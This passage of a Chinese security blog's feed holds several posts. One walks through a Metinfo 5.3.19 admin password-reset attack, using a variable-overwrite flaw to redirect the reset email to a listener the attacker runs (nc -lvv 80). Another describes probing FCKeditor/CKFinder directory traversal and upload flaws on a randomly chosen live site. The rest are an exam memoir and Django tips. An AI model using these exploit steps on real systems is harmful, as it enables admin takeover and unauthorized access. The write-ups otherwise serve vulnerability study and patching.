href="https://pan.baidu.com/s/1890TUFySa38iAzwO0981xQ">提取码:y0ep</a></p><p>若链接失效,请及时与<a href="http://rookiehacker.org:8888/images/2019/03/30/8b120b04f44ceb7426f3a0a46349f862.jpg">本人</a>联系,谢谢!<br>建了个<a href="http://rookiehacker.org:8888/images/2019/03/30/2d5b73d2f9f21216428c749d69a6ebae.jpg">答疑群</a>,一个个回答太累~<br><img src="http://rookiehacker.org:8888/images/2019/03/30/2d5b73d2f9f21216428c749d69a6ebae.jpg" alt="欢迎进群,一起奋斗!"></p><hr><blockquote><p><em>声明:</em><br>文章标题:<a href='http://blog.rookiehacker.org/2019/03/30/fightforpku/' title='【考研之路】回首漫漫考研路' >【考研之路】回首漫漫考研路</a><br>文章作者:<a href="http://blog.rookiehacker.org/about/">RookieHacker</a><br>文章链接:<a href='http://blog.rookiehacker.org/2019/03/30/fightforpku/' title='【考研之路】回首漫漫考研路' >http://blog.rookiehacker.org/2019/03/30/fightforpku/</a><br>文章版权属本博主所有,有问题或者建议欢迎在下方评论。欢迎转载、引用,但请标明作者和原文地址,谢谢。</p></blockquote><hr><p><em>喜欢,就支持我一下吧~</em></p><hr><iframe src="http://blog.rookiehacker.org/donate-page/simple/" style="overflow-x:hidden;overflow-y:hidden; border:0xp none #fff; min-height:240px; width:100%;" frameborder="0" scrolling="no"></iframe>***]]></content>
<summary type="html">
两年考研路,今日终上岸,分享一下自己的故事,希望能为你梦想的夜空点缀些许星光~
</summary>
<category term="考研" scheme="http://blog.rookiehacker.org/categories/%E8%80%83%E7%A0%94/"/>
<category term="考研" scheme="http://blog.rookiehacker.org/tags/%E8%80%83%E7%A0%94/"/>
</entry>
<entry>
<title>【Web渗透】FCKeditor和CKeditor插件漏洞利用</title>
<link href="http://blog.rookiehacker.org/2019/03/19/fckeditorandckeditor/"/>
<id>http://blog.rookiehacker.org/2019/03/19/fckeditorandckeditor/</id>
<published>2019-03-19T15:20:36.000Z</published>
<updated>2019-03-29T17:53:14.000Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="渗透过程"><a href="#渗透过程" class="headerlink" title="渗透过程"></a>渗透过程</h2><p>某日闲着无聊,随便百度了个关键词,随便找了家网站,开始渗透。<br>查看网站指纹信息,发现网站使用aspx语言,运行在Windows服务器上。<br><img src="http://rookiehacker.org:8888/images/2019/03/30/52cb499fc555a0bbea814ddc1d361bdc.png"><br>接下来实用工具扫描目录,得到存在以下目录。<br><code>http://www.xxxxxx.com/admin/FCKeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=D:\web\xxxxxxx\wwwroot\</code><br>可知使用了FCKeditor,并且导致了目录遍历,网站所在服务器目录信息能够被非法遍历。<br>进一步分析目录信息,在admin文件夹下发现了FCKeditor和ckeditor两个文件。接下来寻找文件上传点。<br>首先分析FCKeditor。在<br><code>http://www.xxxxxxx.com/admin/FCKeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=D:\web\xxxxxxx\wwwroot\ADMIN\fckeditor\editor</code><br>下发现FCKeditor.html<br><img src="http://rookiehacker.org:8888/images/2019/03/30/6b276e422a14680cdd8326d6a984efde.png"><br>访问后发现不能打开,此上传点无法利用。接下来检查ckeditor。在<br><code>http://www.xxxxxxx.com/admin/FCKeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=D:\web\xxxxxxx\wwwroot\ADMIN\ckeditor\ckfinder</code><br>下发现CKFinder.html,并且可以正常访问。可以发现站点使用的是CKFinder2,并且可以非法上传、删除、编辑网站文件。<br><img src="http://rookiehacker.org:8888/images/2019/03/30/00e8a9afcf318f0fada1dd2da3dd7b04.png"><br>这里是使用了相同编辑器的另外一个网站的被入侵的情况,有点惨不忍睹。<br><img src="http://rookiehacker.org:8888/images/2019/03/30/a0066f397293a15081065f383cb5de98.png"></p><h2 id="修复建议"><a href="#修复建议" class="headerlink" title="修复建议"></a>修复建议</h2><p>删除不必要的测试文件,及时升级插件版本。</p><hr><blockquote><p><em>声明:</em><br>文章标题:<a href='http://blog.rookiehacker.org/2019/03/19/fckeditorandckeditor/' title='【Web渗透】FCKeditor和CKeditor插件漏洞利用' >【Web渗透】FCKeditor和CKeditor插件漏洞利用</a><br>文章作者:<a href="http://blog.rookiehacker.org/about/">RookieHacker</a><br>文章链接:<a href='http://blog.rookiehacker.org/2019/03/19/fckeditorandckeditor/' title='【Web渗透】FCKeditor和CKeditor插件漏洞利用' >http://blog.rookiehacker.org/2019/03/19/fckeditorandckeditor/</a><br>文章版权属本博主所有,有问题或者建议欢迎在下方评论。欢迎转载、引用,但请标明作者和原文地址,谢谢。</p></blockquote><hr><p><em>喜欢,就支持我一下吧~</em></p><hr><iframe src="http://blog.rookiehacker.org/donate-page/simple/" style="overflow-x:hidden;overflow-y:hidden; border:0xp none #fff; min-height:240px; width:100%;" frameborder="0" scrolling="no"></iframe>***]]></content>
<summary type="html">
一次针对FCKeditor和CKeditor插件文件目录遍历和文件上传漏洞的渗透测试。
</summary>
<category term="Web渗透" scheme="http://blog.rookiehacker.org/categories/Web%E6%B8%97%E9%80%8F/"/>
<category term="web" scheme="http://blog.rookiehacker.org/tags/web/"/>
<category term="渗透" scheme="http://blog.rookiehacker.org/tags/%E6%B8%97%E9%80%8F/"/>
</entry>
<entry>
<title>【Tips】Chrome更新后cookie的设置&Django过滤器filter中的参数详解</title>
<link href="http://blog.rookiehacker.org/2019/03/04/chromecookie/"/>
<id>http://blog.rookiehacker.org/2019/03/04/chromecookie/</id>
<published>2019-03-04T14:35:32.000Z</published>
<updated>2019-03-04T15:00:38.000Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>前几日在使用postman测试整理产品的API接口的时候,自动更新了chrome,由于要验证登录身份,需要设置token和cookie值。但是在chrome更新之后,再次打开开发者工具在network里查看header信息,却没发现cookie信息,一脸懵逼。摸索了半天,发现应该是为了安全起见,chrome默认将cookie等敏感信息设置为了不可见。所以需要手动打开,设置-内容设置-cookie-打开允许网站保存和读取cookie数据-重启chrome即可,。</p><p>由于项目功能升级,需要对登录用户的角色进行区分,不同用户的功能是不同的,所以要对后台展示的信息进行过滤处理,Django提供了filter函数,来对数据库的信息进行过滤,使用起来很方便,但是其中有很多值得注意的地方啊,第一次在项目中使用,被参数问题整得头大。下面寄一个小笔记:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">Django 过滤器filter中的参数详解</span><br><span class="line"></span><br><span class="line">__exact 精确等于 like 'aaa'</span><br><span class="line"> __iexact 精确等于 忽略大小写 ilike 'aaa'</span><br><span class="line"> __contains 包含 like '%aaa%'</span><br><span class="line"> __icontains 包含 忽略大小写 ilike '%aaa%',但是对于sqlite来说,contains的作用效果等同于icontains。</span><br><span class="line">__gt 大于</span><br><span class="line">__gte 大于等于</span><br><span class="line">__lt 小于</span><br><span class="line">__lte 小于等于</span><br><span class="line">__in 存在于一个list范围内</span><br><span class="line">__startswith 以...开头</span><br><span class="line">__istartswith 以...开头 忽略大小写</span><br><span class="line">__endswith 以...结尾</span><br><span class="line">__iendswith 以...结尾,忽略大小写</span><br><span class="line">__range 在...范围内</span><br><span class="line">__year 日期字段的年份</span><br><span class="line">__month 日期字段的月份</span><br><span class="line">__day 日期字段的日</span><br><span class="line">__isnull=True/False</span><br><span class="line"></span><br><span class="line">也就是说,models中定义的各种属性的名字后面加上上面这些后缀,可以起到进一步的过滤作用</span><br><span class="line"></span><br></pre></td></tr></table></figure><hr><blockquote><p><em>声明:</em><br>文章标题:<a href='http://blog.rookiehacker.org/2019/03/04/chromecookie/' title='【Tips】Chrome更新后cookie的设置&Django过滤器filter中的参数详解' >【Tips】Chrome更新后cookie的设置&Django过滤器filter中的参数详解</a><br>文章作者:<a href="http://blog.rookiehacker.org/about/">RookieHacker</a><br>文章链接:<a href='http://blog.rookiehacker.org/2019/03/04/chromecookie/' title='【Tips】Chrome更新后cookie的设置&Django过滤器filter中的参数详解' >http://blog.rookiehacker.org/2019/03/04/chromecookie/</a><br>文章版权属本博主所有,有问题或者建议欢迎在下方评论。欢迎转载、引用,但请标明作者和原文地址,谢谢。</p></blockquote><hr><p><em>喜欢,就支持我一下吧~</em></p><hr><iframe src="http://blog.rookiehacker.org/donate-page/simple/" style="overflow-x:hidden;overflow-y:hidden; border:0xp none #fff; min-height:240px; width:100%;" frameborder="0" scrolling="no"></iframe>***]]></content>
<summary type="html">
关于chrome更新后无法查看cookie的一些小tips
</summary>
<category term="Python" scheme="http://blog.rookiehacker.org/categories/Python/"/>
<category term="Python" scheme="http://blog.rookiehacker.org/tags/Python/"/>
<category term="Chrome" scheme="http://blog.rookiehacker.org/tags/Chrome/"/>
<category term="cookie" scheme="http://blog.rookiehacker.org/tags/cookie/"/>
<category term="Django" scheme="http://blog.rookiehacker.org/tags/Django/"/>
</entry>
<entry>
<title>【Web渗透】Metinfo 5.3.19 管理员密码重置漏洞分析</title>
<link href="http://blog.rookiehacker.org/2019/02/22/metinfotest/"/>
<id>http://blog.rookiehacker.org/2019/02/22/metinfotest/</id>
<published>2019-02-22T12:01:40.000Z</published>
<updated>2019-02-23T03:55:56.000Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>一个偶然的原因,看到了一个站点,进去后发现有明显的被黑的痕迹,查看整个站点发现采用的是Metinfo 5.3.19 CMS,google一下,发现关于这个版本的CMS有管理员密码重置的漏洞,网上已经有几篇文章来描述这个问题了,这里也顺便参考这自己分析一遍,整理一下整个漏洞的来龙去脉。<br><img src="http://rookiehacker.org:8888/images/2019/02/22/b38039f6dbdd9ee2b1cb378ac36f26a2.png" alt="Metinfo 5.3.19"></p><h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>在官网上有5.3.19版本下载,下载后发现整个站点的code都拿到手了,看到问题出现在连接 <code>admin/admin/getpassword.php</code>这里,打开这个文件,在第四行</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">require_once '../include/common.inc.php';</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这里直接包含了<code>include/common.inc.php</code>,打开,找到其中关于<code>post</code>的代码,</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">foreach(array('_COOKIE', '_POST', '_GET') as $_request) {</span><br><span class="line">foreach($$_request as $_key => $_value) {</span><br><span class="line">$_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);</span><br><span class="line">$_M['form'][$_key]=daddslashes($_value,0,0,1);</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这里存在变量覆盖漏洞,<br>然后在<code>admin/admin/getpassword.php</code>中查找关于关于重置密码的处理过程</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line">$admin_list = $db->get_one("SELECT * FROM $met_admin_table WHERE admin_id='$admin_mobile' and usertype='3'");</span><br><span class="line">if($admin_list && $admin_list['admin_email']=='')okinfo('../admin/getpassword.php',$lang_password14);</span><br><span class="line">if(!$admin_list){</span><br><span class="line">if(!is_email($admin_mobile))okinfo('../admin/getpassword.php',$lang_password7);</span><br><span class="line">$admin_list = $db->get_one("SELECT * FROM $met_admin_table WHERE admin_email='$admin_mobile' and usertype='3'");</span><br><span class="line">if(!$admin_list)okinfo('../admin/getpassword.php',$lang_password14);</span><br><span class="line">}</span><br><span class="line">if($admin_list){</span><br><span class="line">$met_fd_usename=$met_fd_usename;</span><br><span class="line">$met_fd_fromname=$met_fd_fromname;</span><br><span class="line">$met_fd_password=$met_fd_password;</span><br><span class="line">$met_fd_smtp=$met_fd_smtp;</span><br><span class="line">$met_webname=$met_webname;</span><br><span class="line">$met_weburl=$met_weburl;</span><br><span class="line">$adminfile=$url_array[count($url_array)-2];</span><br><span class="line">$from=$met_fd_usename;</span><br><span class="line">$fromname=$met_fd_fromname;</span><br><span class="line">$to=$admin_list['admin_email'];</span><br><span class="line">$usename=$met_fd_usename;</span><br><span class="line">$usepassword=$met_fd_password;</span><br><span class="line">$smtp=$met_fd_smtp;</span><br><span class="line">$title=$met_webname.$lang_getNotice;</span><br><span class="line">$x = md5($admin_list[admin_id].'+'.$admin_list[admin_pass]);</span><br><span class="line">$outime=3600*24*3;</span><br><span class="line">$String=authcode($admin_list[admin_id].".".$x,'ENCODE', $met_webkeys, $outime);</span><br><span class="line">$String=urlencode($String);</span><br><span class="line">$mailurl= $met_weburl.$adminfile.'/admin/getpassword.php?p='.$String;</span><br><span class="line">$body ="<style type='text/css'>\n";</span><br><span class="line">$body .="#metinfo{ padding:10px; color:#555; font-size:12px; line-height:1.8;}\n";</span><br><span class="line">$body .="#metinfo .logo{ border-bottom:1px dotted #333; padding-bottom:5px;}\n";</span><br><span class="line">$body .="#metinfo .logo img{ border:none;}\n";</span><br><span class="line">$body .="#metinfo .logo a{ display:block;}\n";</span><br><span class="line">$body .="#metinfo .text{ border-bottom:1px dotted #333; padding:5px 0px;}\n";</span><br><span class="line">$body .="#metinfo .text p{ margin-bottom:5px;}\n";</span><br><span class="line">$body .="#metinfo .text a{ color:#70940E;}\n";</span><br><span class="line">$body .="#metinfo .copy{ color:#BBB; padding:5px 0px;}\n";</span><br><span class="line">$body .="#metinfo .copy a{ color:#BBB; text-decoration:none; }\n";</span><br><span class="line">$body .="#metinfo .copy a:hover{ text-decoration:underline; }\n";</span><br><span class="line">$body .="#metinfo .copy b{ font-weight:normal; }\n";</span><br><span class="line">$body .="</style>\n";</span><br><span class="line">$body .="<div id='metinfo'>\n";</span><br><span class="line">if($met_agents_type<=1){</span><br><span class="line">$body .="<div class='logo'><a href='$met_weburl' title='$met_webname'><img src='http://www.metinfo.cn/upload/200911/1259148297.gif' /></a></div>";</span><br><span class="line">}</span><br><span class="line">$body .="<div class='text'><p>".$lang_hello.$admin_name."</p><p>$lang_getTip1</p>";</span><br><span class="line">$body .="<p><a href='$mailurl'>$mailurl</a></p>\n";</span><br><span class="line">if($met_agents_type<=1){</span><br><span class="line">$body .="<p>$lang_getTip2</p></div><div class='copy'>$foot</a></div>";</span><br><span class="line">}</span><br><span class="line">require_once ROOTPATH.'include/jmail.php';</span><br><span class="line">$sendMail=jmailsend($from,$fromname,$to,$title,$body,$usename,$usepassword,$smtp);</span><br><span class="line">if($sendMail==0){</span><br><span class="line">require_once ROOTPATH.'include/export.func.php';</span><br><span class="line">$post=array('to'=>$to,'title'=>$title,'body'=>$body);</span><br><span class="line">$met_file='/passwordmail.php';</span><br><span class="line">$sendMail=curl_post($post,30);</span><br><span class="line">if($sendMail=='nohost')$sendMail=0;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$text=$sendMail?$lang_getTip3.$lang_memberEmail.':'.$admin_list['admin_email']:$lang_getTip4;</span><br><span class="line">okinfo('../index.php',$text);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>注意这里的发送,</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">require_once ROOTPATH.'include/jmail.php';</span><br><span class="line">$sendMail=jmailsend($from,$fromname,$to,$title,$body,$usename,$usepassword,$smtp);</span><br><span class="line">if($sendMail==0){</span><br><span class="line">require_once ROOTPATH.'include/export.func.php';</span><br><span class="line">$post=array('to'=>$to,'title'=>$title,'body'=>$body);</span><br><span class="line">$met_file='/passwordmail.php';</span><br><span class="line">$sendMail=curl_post($post,30);</span><br><span class="line">if($sendMail=='nohost')$sendMail=0;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>当<code>$sendMail==0</code>时,信息会通过变量<code>$post</code>调用<code>curl_post</code>发送出去。<code>curl_post</code>定义在<code>include/export.func.php</code>中:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br></pre></td><td class="code"><pre><span class="line">function curl_post($post,$timeout){</span><br><span class="line">global $met_weburl,$met_host,$met_file;</span><br><span class="line">$host=$met_host;</span><br><span class="line">$file=$met_file;</span><br><span class="line">if(get_extension_funcs('curl')&&function_exists('curl_init')&&function_exists('curl_setopt')&&function_exists('curl_exec')&&function_exists('curl_close')){</span><br><span class="line">$curlHandle=curl_init(); </span><br><span class="line">curl_setopt($curlHandle,CURLOPT_URL,'http://'.$host.$file); </span><br><span class="line">curl_setopt($curlHandle,CURLOPT_REFERER,$met_weburl);</span><br><span class="line">curl_setopt($curlHandle,CURLOPT_RETURNTRANSFER,1); </span><br><span class="line">curl_setopt($curlHandle,CURLOPT_CONNECTTIMEOUT,$timeout);</span><br><span class="line">curl_setopt($curlHandle,CURLOPT_TIMEOUT,$timeout);</span><br><span class="line">curl_setopt($curlHandle,CURLOPT_POST, 1);</span><br><span class="line">curl_setopt($curlHandle,CURLOPT_POSTFIELDS, $post);</span><br><span class="line">$result=curl_exec($curlHandle); </span><br><span class="line">curl_close($curlHandle); </span><br><span class="line">}</span><br><span class="line">else{</span><br><span class="line">if(function_exists('fsockopen')||function_exists('pfsockopen')){</span><br><span class="line">$post_data=$post;</span><br><span class="line">$post='';</span><br><span class="line">@ini_set("default_socket_timeout",$timeout);</span><br><span class="line">while (list($k,$v) = each($post_data)) {</span><br><span class="line">$post .= rawurlencode($k)."=".rawurlencode($v)."&";</span><br><span class="line">}</span><br><span class="line">$post = substr( $post , 0 , -1 );</span><br><span class="line">$len = strlen($post);</span><br><span class="line">if(function_exists(fsockopen)){</span><br><span class="line">$fp = @fsockopen($host,80,$errno,$errstr,$timeout);</span><br><span class="line">}</span><br><span class="line">else{</span><br><span class="line">$fp = @pfsockopen($host,80,$errno,$errstr,$timeout);</span><br><span class="line">}</span><br><span class="line">if (!$fp) {</span><br><span class="line">$result='';</span><br><span class="line">}</span><br><span class="line">else {</span><br><span class="line">$result = '';</span><br><span class="line">$out = "POST $file HTTP/1.0\r\n";</span><br><span class="line">$out .= "Host: $host\r\n";</span><br><span class="line">$out .= "Referer: $met_weburl\r\n";</span><br><span class="line">$out .= "Content-type: application/x-www-form-urlencoded\r\n";</span><br><span class="line">$out .= "Connection: Close\r\n";</span><br><span class="line">$out .= "Content-Length: $len\r\n";</span><br><span class="line">$out .="\r\n";</span><br><span class="line">$out .= $post."\r\n";</span><br><span class="line">fwrite($fp, $out);</span><br><span class="line">$inheader = 1; </span><br><span class="line">while(!feof($fp)){</span><br><span class="line">$line = fgets($fp,1024); </span><br><span class="line">if ($inheader == 0) { </span><br><span class="line">$result.=$line;</span><br><span class="line">} </span><br><span class="line">if ($inheader && ($line == "\n" || $line == "\r\n")) { </span><br><span class="line">$inheader = 0; </span><br><span class="line">} </span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">while(!feof($fp)){</span><br><span class="line">$result.=fgets($fp,1024);</span><br><span class="line">}</span><br><span class="line">fclose($fp);</span><br><span class="line">str_replace($out,'',$result);</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">else{</span><br><span class="line">$result='';</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">$result=trim($result);</span><br><span class="line">if(substr($result,0,7)=='metinfo'){</span><br><span class="line">return substr($result,7);</span><br><span class="line">}</span><br><span class="line">else{</span><br><span class="line">return 'nohost';</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>可以发现<code>$met_host</code>表示右键内容发送地点,并且这个参数可以通过变量覆盖进行控制,那么如何让<code>$sendMail==0</code>,触发发送邮件程序呢?这里包含了<code>jmail.php</code>,打开</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">global $met_fd_port,$met_fd_way;</span><br><span class="line">$mail = new PHPMailer();</span><br><span class="line">//$mail->SMTPDebug = 3;</span><br><span class="line"></span><br><span class="line">$mail->CharSet = "UTF-8"; // charset</span><br><span class="line">$mail->Encoding = "base64";</span><br><span class="line">$mail->Timeout = 15; </span><br><span class="line">$mail->IsSMTP(); // telling the class to use SMTP</span><br><span class="line"></span><br><span class="line">//system</span><br><span class="line">if(stripos($smtp,'.gmail.com')===false){</span><br><span class="line">$mail->Port = $met_fd_port;</span><br><span class="line">$mail->Host = $smtp; // SMTP server</span><br><span class="line">if($met_fd_way=='ssl'){</span><br><span class="line">$mail->SMTPSecure = "ssl";</span><br><span class="line">}else{</span><br><span class="line">$mail->SMTPSecure = "";</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这里<code>met_fd_port</code>指定了邮件的发送端口,属于系统配置。因此倘若我们利用前面的变量覆盖漏洞修改端口,即可导致邮件发送失败,进入到<code>curl_post</code>。</p><h2 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h2><h3 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h3><p>首先搭建测试环境,本来想在vps上搭建lamp环境然后上传站点的,但是考虑到安全问题,以及各种依赖的升级等等就搁置了。直接在本地Windows部署,然后通过Kali虚拟机和vps测试一下。<br>首先在本地搭建phpstudy环境。Windows搭建phpstudy还是比肩方便的下载下来PHPstudy,解压,几乎是一键式安装啊,安装过后直接启动就好了。<br><img src="http://rookiehacker.org:8888/images/2019/02/23/ba31ddb159c27a7a41115f15e15bd06e.png" alt="phpstudy启动"><br>然后是MetInfo5.3.19部署。这里直接从米拓官网下载历史版本源码即可,下载下来是个zip压缩包,这里讲压缩版保存在安装phpstudy是创建的www路径下,比如<code>E:\phpstudy\PHPTutorial\WWW\</code>,直接解压即可。然后在浏览器输入<code>http://127.0.0.1:port</code>这里port为你设置的Apache运行端口,这里可在phpstudy运行管理的端口设置那里进行自主配置。然后浏览器就会出现安装的一系列步骤,按提示来即可。ps.要是想删除重新安装,记得删除/config文件夹下的install.lock</p><h3 id="渗透测试"><a href="#渗透测试" class="headerlink" title="渗透测试"></a>渗透测试</h3><p>首先在vps上监听80端口<code>nc -lvv 80</code>,应为curl_post使用http协议,默认工作在80端口。</p><p>这里直接在kali虚拟机上用burpsuite一把梭就好了。构造找回密码请求如下:<br><img src="http://rookiehacker.org:8888/images/2019/02/23/12f57f47db95a1e2ca96ebb34ce91ce7.png" alt="找回密码"><br>利用burpsuite构造如下请求,<code>met_host</code>处为用于接收重置链接的vps地址:<br><img src="http://rookiehacker.org:8888/images/2019/02/23/08bac3184093bb0ddd0bc7952a9619e1.png" alt="构造请求"><br>请求发送后,会在vps上收到如下数据信息:<br><img src="http://rookiehacker.org:8888/images/2019/02/23/99a31fb1b8fc539a1c40df6e26ea44ce.jpg" alt="收到数据"><br>注意,这里的</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://192.168.1.105:2333/admin/admin/getpassword.php?p=09f7Rd6YXI0qJlu2HY2qe23Prf5j8UAn4Vo8CEXXX9GqAfbj%2BkJGFJUhHeSlkwTBUjtPci0XQX23qgm8pYNupqQsRw</span><br></pre></td></tr></table></figure><p>就是密码重置链接,到这里我们就差不多已经成功了。然后就可以登录链接,设置密码,登录后台,<br><img src="http://rookiehacker.org:8888/images/2019/02/23/9b39a2833cdc6309a8336f49476cc61d.png"><br><img src="http://rookiehacker.org:8888/images/2019/02/23/aa5bc3af3f8d10ed3eeaae55f6d1d5f2.png" alt="密码重置"><br><img src="http://rookiehacker.org:8888/images/2019/02/23/8dad18ed426d4a975a68943cbc432001.png" alt="登录后台"><br>测试结束。</p><h2 id="措施"><a href="#措施" class="headerlink" title="措施"></a>措施</h2><p>官方已经放出最新版本,请及时升级。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>码代码是要时刻注意变量覆盖危险,做好代码审计和测试工作。</p><hr><blockquote><p><em>声明:</em><br>文章标题:<a href='http://blog.rookiehacker.org/2019/02/22/metinfotest/' title='【Web渗透】Metinfo 5.3.19 管理员密码重置漏洞分析' >【Web渗透】Metinfo 5.3.19 管理员密码重置漏洞分析</a><br>文章作者:<a href="http://blog.rookiehacker.org/about/">RookieHacker</a><br>文章链接:<a href='http://blog.rookiehacker.org/2019/02/22/metinfotest/' title='【Web渗透】Metinfo 5.3.19 管理员密码重置漏洞分析' >http://blog.rookiehacker.org/2019/02/22/metinfotest/</a><br>文章版权属本博主所有,有问题或者建议欢迎在下方评论。欢迎转载、引用,但请标明作者和原文地址,谢谢。</p></blockquote><hr><p><em>喜欢,就支持我一下吧~</em></p><hr><iframe src="http://blog.rookiehacker.org/donate-page/simple/" style="overflow-x:hidden;overflow-y:hidden; border:0xp none #fff; min-height:240px; width:100%;" frameborder="0" scrolling="no"></iframe>***]]></content>
<summary type="html">
Metinfo5.3.19管理员密码重置漏洞的分析与复现
</summary>
<category term="Web渗透" scheme="http://blog.rookiehacker.org/categories/Web%E6%B8%97%E9%80%8F/"/>
<category term="渗透" scheme="http://blog.rookiehacker.org/tags/%E6%B8%97%E9%80%8F/"/>
